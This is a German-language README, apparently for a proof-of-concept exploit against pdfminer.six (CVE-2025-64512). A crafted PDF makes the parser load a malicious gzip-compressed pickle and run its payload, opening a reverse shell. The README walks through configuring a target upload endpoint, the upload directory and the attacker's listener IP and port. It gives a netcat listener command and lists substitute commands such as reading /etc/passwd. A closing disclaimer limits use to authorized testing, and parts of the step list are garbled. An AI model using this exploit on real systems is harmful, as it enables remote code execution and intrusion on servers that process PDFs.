
Exploit für CVE-2025-64512, um eine Reverse-Shell zu erhalten.
Dieser Proof-of-Concept demonstriert eine Schwachstelle in pdfminer.six (CVE-2025-64512), die zur Ausführung beliebiger Befehle führen kann, wenn eine schädliche PDF-Datei verarbeitet wird. Der Exploit verwendet eine präparierte PDF-Datei, die auf ein schädliches, gzip-komprimiertes Python-Pickle verweist. Wenn die verwundbare Anwendung die PDF-Datei parst, lädt sie das Pickle und führt die eingebettete Nutzlast aus.
Der enthaltene PoC ist so konfiguriert, dass er eine Python-Reverse-Shell ausführt, aber die Nutzlast kann durch jeden beliebigen Befehl ersetzt werden.
requestsInstalliere die erforderliche Abhängigkeit:
pip install requests
Bearbeite vor dem Ausführen des Exploits den Konfigurationsabschnitt von exploit.py:
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
Die URL des verwundbaren Upload-Endpunkts.
Beispiel:
BASE_URL = "http://target/upload.php"
Der Exploit lädt sowohl die schädliche PDF-Datei als auch das komprimierte Pickle auf diesen Endpunkt hoch.
Das absolute Verzeichnis auf dem Zielsystem, in dem hochgeladene Dateien gespeichert werden.
Beispiel:
UPLOAD_DIR = "/var/www/html/uploads"
Dieser Pfad wird in die generierte PDF-Datei eingebettet und muss mit dem Speicherort übereinstimmen, von dem die verwundbare Anwendung das hochgeladene Pickle später liest.
Wenn das Upload-Verzeichnis unbekannt ist, ermittle es während der Enumeration. Abhängig von der Anwendung sind folgende Techniken hilfreich:
Typische Speicherorte sind:
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
Das richtige Verzeichnis hängt vollständig von der Zielanwendung ab.
Die IP-Adresse deines Listeners.
Beispiel:
LHOST = "10.10.14.5"
Listening-Port für die Reverse-Shell.
Beispiel:
LPORT = 4444
Starte vor dem Ausführen des Exploits einen Listener:
nc -lvnp 4444
Führe den Exploit aus:
python3 exploit.py
Das Skript wird Folgendes tun:
evil.pickle.gz komprimieren.Anstelle einer Reverse-Shell kann jeder Betriebssystembefehl ausgeführt werden, indem der Befehl geändert wird, der an Folgendes übergeben wird:
create_pickle_with_cmd(command)
Beispiele sind:
id
whoami
uname -a
cat /etc/passwd
Dieser Proof-of-Concept dient ausschließlich zu Bildungszwecken, für Sicherheitsforschung und autorisierte Penetrationstests. Verwende ihn nur gegen Systeme, für die du eine ausdrückliche Genehmigung zur Durchführung von Sicherheitstests hast.